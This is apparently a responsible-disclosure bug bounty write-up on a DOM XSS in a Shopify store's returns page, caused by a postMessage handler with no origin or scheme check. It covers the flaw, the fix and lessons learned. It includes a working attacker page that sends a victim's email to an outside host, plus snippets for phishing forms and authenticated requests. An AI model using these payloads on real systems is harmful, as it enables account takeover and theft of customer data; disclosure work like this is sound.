Disclosure notice: Scope, program name, and company identity are redacted per responsible disclosure policy. All code samples are either anonymized or reconstructed to illustrate the concept. The vulnerability was reported through a bug bounty platform and has since been remediated.
TL;DR
- Found a DOM-based XSS in a
/apps/returnspage of a major e-commerce brand - Root cause:
window.location.href = event.data.data- no origin check, no scheme validation - Attack vector: any cross-origin window holding a reference via
window.open()can deliver ajavascript:URI - Impact: full JavaScript execution in the target origin → session cookies, localStorage, same-origin API calls, account takeover
- CVSS 9.0
- Bonus: discovered a CSRF-less address destruction chain while exploring the impact
How it started
I was hunting on a major beauty e-commerce brand running on Shopify. Nothing fancy - just reading the page source, grepping for interesting patterns, looking for that one thing someone forgot to validate.
Then I hit /apps/returns. A Shopify app proxy that embeds a third-party returns portal in an iframe.
The page had an inline <script> block. Three lines. That’s all it took.
“How bad can it be?” - me, about to read a 3-line script. Famous last words.

What even is postMessage?
window.postMessage() is the browser’s official way for cross-origin windows to talk to each other. An iframe from api.vendor.example can send messages to its parent on shop.example. Perfectly legitimate, used everywhere.
The full API
The sender calls postMessage with two required arguments:
targetWindow.postMessage(message, targetOrigin);
// ^ ^
// | second argument restricts delivery to this origin
// any serializable value (string, object, array...)
targetOrigin is a safety net on the sender side. If the parent page has navigated away to a different origin since the iframe loaded, the message will be silently dropped instead of delivered to the wrong party.
// Sender (inside api.vendor.example iframe)
window.parent.postMessage(
{ action: 'onstore:navigate', data: '/account' },
'https://shop.example' // only deliver if parent is exactly this origin
);
// Using '*' disables that check — the message goes to whoever is listening
window.parent.postMessage(payload, '*');
The receiver registers an event listener and gets a structured MessageEvent:
window.addEventListener('message', (event) => {
event.origin // string - sender's scheme+host+port, e.g. "https://api.vendor.example"
event.data // any - the message payload (deserialized from structured clone)
event.source // Window - reference back to the sender window (can reply to it)
event.ports // array - transferable MessagePorts (rarely used outside workers)
}, false);
The two-sided security model
Security lives on both sides:
| Side | Mechanism | What it protects |
|---|---|---|
| Sender | targetOrigin argument | Prevents delivery to an unexpected receiver origin |
| Receiver | event.origin check | Prevents processing messages from untrusted senders |
Both are required. A sender using '*' leaks the message to any window. A receiver ignoring event.origin trusts every window. The vulnerability here was on the receiver side: the handler never looked at event.origin, so any cross-origin window holding a reference could trigger it.
The rule: always check event.origin on the receiver. If you don’t, any window that holds a reference to yours can send you messages.
sequenceDiagram
participant L as Legitimate iframe<br/>(api.vendor.example)
participant V as Vulnerable page<br/>(shop.example/apps/returns)
participant A as Attacker page<br/>(evil.example)
L->>V: postMessage({action:'onstore:navigate', data:'/account'})
Note over V: Normal flow [ok]
A->>V: postMessage({action:'onstore:navigate', data:'javascript:pwned()'})
Note over V: No origin check → executes [XSS]
Now the code.
The Vulnerable Code
Here’s the handler I found (anonymized but structurally identical to the original):
window.addEventListener('message', (event) => {
if (event.data?.action === 'onstore:navigate') {
window.location.href = event.data.data; // VULN: no origin check, no scheme check
}
if (event.data?.action === 'embedded-app:mobile-lookup-load') { /* ... */ }
if (event.data?.action === 'embedded-app:mobile-lookup-success') { /* ... */ }
}, false);
That’s it. Designed to let the embedded returns iframe navigate the parent page (e.g., back to /account after completing a return). Makes sense in context.
The missing pieces:
- No
if (event.origin !== 'https://api.vendor.example') return; - No URL scheme check before assigning to
window.location.href

Sink-to-Source Analysis
Let’s trace the data flow from attacker-controlled input to the sink:
flowchart LR
SRC["[SOURCE]\nAttacker controls\nevent.data.data\nvia postMessage()"]
FLOW1["Event Handler\nwindow.addEventListener\n('message', ...)"]
CHECK["Action check\nevent.data.action ===\n'onstore:navigate'"]
SINK["[SINK]\nwindow.location.href\n= event.data.data"]
XSS["[DOM XSS]\njavascript: URI\nexecuted in target origin"]
SRC -->|"no sanitization\nno type check"| FLOW1
FLOW1 --> CHECK
CHECK -->|"passes ✓"| SINK
SINK -->|"javascript: accepted\nby the browser"| XSS
Here is the same flow annotated directly in the code:
// Source -> Sink trace
// ──────────────────────────────────────────────────────────
// [SOURCE]: input fully controlled by the attacker
// The attacker called:
// targetWin.postMessage({
// action: 'onstore:navigate',
// data: 'javascript:pwned()' // their value, not ours
// }, '*')
//
// event.origin = 'https://attacker.evil' // never checked
// event.data.data = 'javascript:pwned()' // never sanitized
window.addEventListener('message', (event) => {
// [PROPAGATION]: no validation, no transformation
// x no event.origin check
// x no scheme or type check on event.data.data
if (event.data?.action === 'onstore:navigate') {
// [SINK]: untrusted data assigned directly to the browser
// window.location.href accepts javascript: URIs
// -> executes in the context of the CURRENT page origin
// -> here: https://shop.example (not attacker.evil)
window.location.href = event.data.data;
// ^
// untrusted data, unfiltered,
// propagated from source to sink
}
}, false);
The taint travels from the postMessage call - attacker-controlled - through a single action string comparison, straight into window.location.href. Classic DOM XSS.
Why does javascript: work here?
When a script running in origin A sets window.location.href = 'javascript:code()', the browser executes code() in origin A’s context. This is expected same-origin behavior - the spec allows it. The problem is that the script doing the assignment is running in the target origin (the shop’s page), not the attacker’s origin. The shop’s event handler is the one calling window.location.href = ..., so the javascript: URI inherits its privileges.
The Attack Flow
The attack, step by step:
flowchart TB
A["1. Attacker hosts evil page\nattacker.evil/pwn.html"]
B["2. Victim clicks link\n(email, forum post, ad...)"]
C["3. window.open()\nOpens shop.example/apps/returns\nin a new tab"]
D["4. Wait ~4s\nPage and postMessage listener load"]
E["5. targetWin.postMessage({\n action: 'onstore:navigate',\n data: 'javascript:...payload...'\n}, '*')"]
F["6. Vulnerable handler receives message\nNo origin check -> assigns to window.location.href"]
G["7. javascript: URI executes\nas shop.example"]
H["8. Attacker JS reads cookies,\nlocalStorage, fetches /account\nwith session creds"]
I["9. Exfiltrated data sent\nto attacker's server"]
A --> B --> C --> D --> E --> F --> G --> H --> I
The attacker page looks something like this (simplified):
<script>
function exploit() {
const target = window.open('https://shop.example/apps/returns', '_blank');
setTimeout(() => {
target.postMessage({
action: 'onstore:navigate',
data: 'javascript:(async()=>{' +
'const r=await fetch("/account",{credentials:"include"});' +
'const t=await r.text();' +
'const email=t.match(/[\\w.+-]+@[\\w-]+\\.[\\w.]+/)?.[0];' +
'new Image().src="https://oob.rodolpheg.xyz/oob?pouet="+encodeURIComponent(email);' +
'})();void(0)'
}, '*');
}, 4000);
}
</script>
<button onclick="exploit()">Win a gift card</button>
The victim sees a “Win a gift card” button. They click. A new tab opens (the real shop page), and 4 seconds later their session data is on its way to the attacker’s server. The shop tab URL never changes - it still shows https://shop.example/apps/returns.

Impact: It’s Worse Than It Looks
JavaScript execution in the storefront origin opens a lot of doors. Here are the main ones.
1. Session Data Exfiltration
- Read
document.cookie(non-HttpOnly cookies, including session tokens) - Read
localStorageandsessionStorage(often contains auth tokens, cart state, user prefs) - Read
IndexedDB(used by some PWA-style storefronts)
2. Account Takeover via Same-Origin Requests
The browser automatically includes session cookies on same-origin fetch() calls. From inside the XSS payload:
// Authenticated fetch - session cookies included automatically
const resp = await fetch('/account/addresses', { credentials: 'include' });
const html = await resp.text();
// Extract name, email, phone, all saved shipping addresses...
No stolen cookies, no token replay - just a fetch that the server thinks is the legitimate user.
3. DOM Injection
The payload can replace the entire page DOM. The URL bar still shows https://shop.example/apps/returns. A fake login form with the shop’s fonts and logo harvests credentials without raising suspicion.
document.body.innerHTML = `
<div style="...">
<h2>Your session has expired</h2>
<input type="email" placeholder="Email">
<input type="password" placeholder="Password">
<button onclick="steal(this)">Sign in</button>
</div>
`;
4. Cart & Order Manipulation
Shopify’s Storefront AJAX API accepts unauthenticated calls to modify cart state. With session context you can also hit the authenticated account endpoints:
// Add a product to victim's cart
await fetch('/cart/add.js', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ id: VARIANT_ID, quantity: 1 }),
credentials: 'include'
});
The Fix
Here’s the vulnerable handler next to the patched version:
Before (vulnerable):
window.addEventListener('message', (event) => {
if (event.data?.action === 'onstore:navigate') {
window.location.href = event.data.data; // UNSAFE: sink
}
}, false);
After (fixed):
const ALLOWED_ORIGINS = ['https://api.returnportal.example'];
window.addEventListener('message', (event) => {
// 1. Validate sender origin
if (!ALLOWED_ORIGINS.includes(event.origin)) return;
// 2. Validate data type
if (typeof event.data?.data !== 'string') return;
if (event.data.action === 'onstore:navigate') {
try {
// 3. Parse and validate URL scheme
const url = new URL(event.data.data, location.origin);
if (url.protocol !== 'https:' && url.protocol !== 'http:') return;
// 4. Optionally restrict to same-origin navigations
if (url.origin !== location.origin) return;
window.location.href = url.href;
} catch { /* invalid URL */ }
}
}, false);
Three changes:
- Origin allowlist - only accept messages from the expected iframe origin
- Scheme validation - reject
javascript:,data:,blob:,vbscript:, etc. - URL parsing - use
new URL()to normalize and inspect before assignment
Worth adding:
- Add a
Content-Security-Policywithscript-src(the existing CSP had noscript-srcdirective, so inline scripts were unrestricted) - Consider
Trusted Types(require-trusted-types-for 'script') to enforce safe DOM sink assignments at the browser level - Audit all
addEventListener('message', ...)handlers across the theme - they tend to cluster
Timeline
| Date | Event |
|---|---|
| 2026-04-05 | Open redirect via postMessage confirmed |
| 2026-04-05 | DOM XSS confirmed (javascript: URI → alert() in target origin) |
| 2026-04-13 | Report submitted via bug bounty platform |
| 2026-04-13 | Triager acknowledges within hours |
| (redacted) | Vulnerability confirmed by program |
| (redacted) | Fix deployed |
Lessons Learned
For hunters:
- Read inline
<script>blocks. They’re often written by theme developers who are not security specialists. window.postMessagehandlers without origin checks are a reliable finding. Grep foraddEventListener('message'across the entire page source.- Don’t stop at the XSS. Map the impact surface: what APIs are available same-origin? What endpoints lack CSRF tokens? The impact chain here almost doubled the CVSS score.
For developers:
event.originis not optional. It’s the security boundary of thepostMessageAPI.- Assigning user-controlled data to
window.location.hrefis a DOM XSS sink. Treat it likeinnerHTML. SameSite=Laxdoes not protect POST endpoints from XSS. You need CSRF tokens in addition to cookie flags.